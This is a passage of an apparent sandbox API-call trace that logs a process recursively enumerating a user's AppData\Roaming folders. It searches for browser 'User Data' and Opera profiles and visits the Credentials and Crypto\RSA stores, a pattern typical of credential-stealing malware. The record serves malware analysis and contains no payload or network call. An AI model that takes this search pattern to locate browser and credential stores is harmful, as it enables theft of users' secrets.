hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28969000, ftCreationTime.dwHighDateTime=0x1d8a739, ftLastAccessTime.dwLowDateTime=0x49867110, ftLastAccessTime.dwHighDateTime=0x1d8a741, ftLastWriteTime.dwLowDateTime=0x49867110, ftLastWriteTime.dwHighDateTime=0x1d8a741, nFileSizeHigh=0x0, nFileSizeLow=0x11971, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="fnviSomaa.rtf", cAlternateFileName="FNVISO~1.RTF")) returned 1 [0264.432] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59c3b780, ftCreationTime.dwHighDateTime=0x1d8a44f, ftLastAccessTime.dwLowDateTime=0x8f88f7a0, ftLastAccessTime.dwHighDateTime=0x1d8a5ed, ftLastWriteTime.dwLowDateTime=0x8f88f7a0, ftLastWriteTime.dwHighDateTime=0x1d8a5ed, nFileSizeHigh=0x0, nFileSizeLow=0xd62c, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="G4L9gVhgSbzV.pptx", cAlternateFileName="G4L9GV~1.PPT")) returned 1 [0264.432] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7050580, ftCreationTime.dwHighDateTime=0x1d8a3b4, ftLastAccessTime.dwLowDateTime=0x2fa88fe0, ftLastAccessTime.dwHighDateTime=0x1d8a5fb, ftLastWriteTime.dwLowDateTime=0x2fa88fe0, ftLastWriteTime.dwHighDateTime=0x1d8a5fb, nFileSizeHigh=0x0, nFileSizeLow=0x6ade, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="gswrI.mp3", cAlternateFileName="")) returned 1 [0264.432] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0c64650, ftCreationTime.dwHighDateTime=0x1d897cd, ftLastAccessTime.dwLowDateTime=0xa10a12e0, ftLastAccessTime.dwHighDateTime=0x1d898ee, ftLastWriteTime.dwLowDateTime=0xa10a12e0, ftLastWriteTime.dwHighDateTime=0x1d898ee, nFileSizeHigh=0x0, nFileSizeLow=0x5d59, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="hGvBe.xlsx", cAlternateFileName="HGVBE~1.XLS")) returned 1 [0264.432] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0264.432] lstrcmpW (lpString1="Identities", lpString2="User Data") returned -1 [0264.432] StrStrW (lpFirst="Identities", lpSrch="pera ") returned 0x0 [0264.432] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 34 [0264.434] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca440 [0264.438] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.438] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.438] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.439] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.439] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.439] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0264.439] lstrcmpW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="User Data") returned -1 [0264.439] StrStrW (lpFirst="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpSrch="pera ") returned 0x0 [0264.439] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities") returned 45 [0264.439] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.439] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.439] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.439] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.439] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.439] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.440] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.440] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.440] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7964c250, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7964c250, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0264.440] FindClose (in: hFindFile=0x6ca440 | out: hFindFile=0x6ca440) returned 1 [0264.440] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x271e6da0, ftCreationTime.dwHighDateTime=0x1d89790, ftLastAccessTime.dwLowDateTime=0x2e86f870, ftLastAccessTime.dwHighDateTime=0x1d8a107, ftLastWriteTime.dwLowDateTime=0x2e86f870, ftLastWriteTime.dwHighDateTime=0x1d8a107, nFileSizeHigh=0x0, nFileSizeLow=0xdaca, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="JP8fBxxxCWve9OaEYTGy.xlsx", cAlternateFileName="JP8FBX~1.XLS")) returned 1 [0264.440] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc0440e0, ftCreationTime.dwHighDateTime=0x1d89ca2, ftLastAccessTime.dwLowDateTime=0x45807930, ftLastAccessTime.dwHighDateTime=0x1d8a4d0, ftLastWriteTime.dwLowDateTime=0x45807930, ftLastWriteTime.dwHighDateTime=0x1d8a4d0, nFileSizeHigh=0x0, nFileSizeLow=0xa94f, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="jSIRdMZfuV.wav", cAlternateFileName="JSIRDM~1.WAV")) returned 1 [0264.440] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94feea70, ftCreationTime.dwHighDateTime=0x1d8a1e0, ftLastAccessTime.dwLowDateTime=0x8823f490, ftLastAccessTime.dwHighDateTime=0x1d8a22f, ftLastWriteTime.dwLowDateTime=0x8823f490, ftLastWriteTime.dwHighDateTime=0x1d8a22f, nFileSizeHigh=0x0, nFileSizeLow=0x5aad, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="L5NKhVLiGH.swf", cAlternateFileName="L5NKHV~1.SWF")) returned 1 [0264.440] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16d05670, ftCreationTime.dwHighDateTime=0x1d8a587, ftLastAccessTime.dwLowDateTime=0xb657af30, ftLastAccessTime.dwHighDateTime=0x1d8a6b9, ftLastWriteTime.dwLowDateTime=0xb657af30, ftLastWriteTime.dwHighDateTime=0x1d8a6b9, nFileSizeHigh=0x0, nFileSizeLow=0xc407, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="l7QixwukYjdvEDupDs.mp3", cAlternateFileName="L7QIXW~1.MP3")) returned 1 [0264.440] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0264.440] lstrcmpW (lpString1="Microsoft", lpString2="User Data") returned -1 [0264.440] StrStrW (lpFirst="Microsoft", lpSrch="pera ") returned 0x0 [0264.440] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 34 [0264.440] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca440 [0264.440] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.441] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.441] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.441] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.441] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.441] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0264.441] lstrcmpW (lpString1="AddIns", lpString2="User Data") returned -1 [0264.441] StrStrW (lpFirst="AddIns", lpSrch="pera ") returned 0x0 [0264.441] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.441] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\AddIns\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\addins\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.448] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.448] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.448] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.448] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.448] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.448] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b3af0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3b3af0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3b3af0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.448] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.448] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0264.448] lstrcmpW (lpString1="Bibliography", lpString2="User Data") returned -1 [0264.448] StrStrW (lpFirst="Bibliography", lpSrch="pera ") returned 0x0 [0264.448] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.448] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\bibliography\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.450] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.450] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.450] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.450] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.450] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.450] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0264.450] lstrcmpW (lpString1="Style", lpString2="User Data") returned -1 [0264.450] StrStrW (lpFirst="Style", lpSrch="pera ") returned 0x0 [0264.450] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography") returned 57 [0264.450] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0264.450] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.450] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0264.450] lstrcmpW (lpString1="Credentials", lpString2="User Data") returned -1 [0264.450] StrStrW (lpFirst="Credentials", lpSrch="pera ") returned 0x0 [0264.450] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.450] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\credentials\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.451] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.451] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.451] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.451] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.451] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.451] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.451] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.451] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0264.451] lstrcmpW (lpString1="Crypto", lpString2="User Data") returned -1 [0264.451] StrStrW (lpFirst="Crypto", lpSrch="pera ") returned 0x0 [0264.451] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.451] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\crypto\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.452] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.452] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.452] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.452] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.452] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.452] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0264.452] lstrcmpW (lpString1="RSA", lpString2="User Data") returned -1 [0264.452] StrStrW (lpFirst="RSA", lpSrch="pera ") returned 0x0 [0264.452] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto") returned 51 [0264.453] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0264.453] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.453] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, 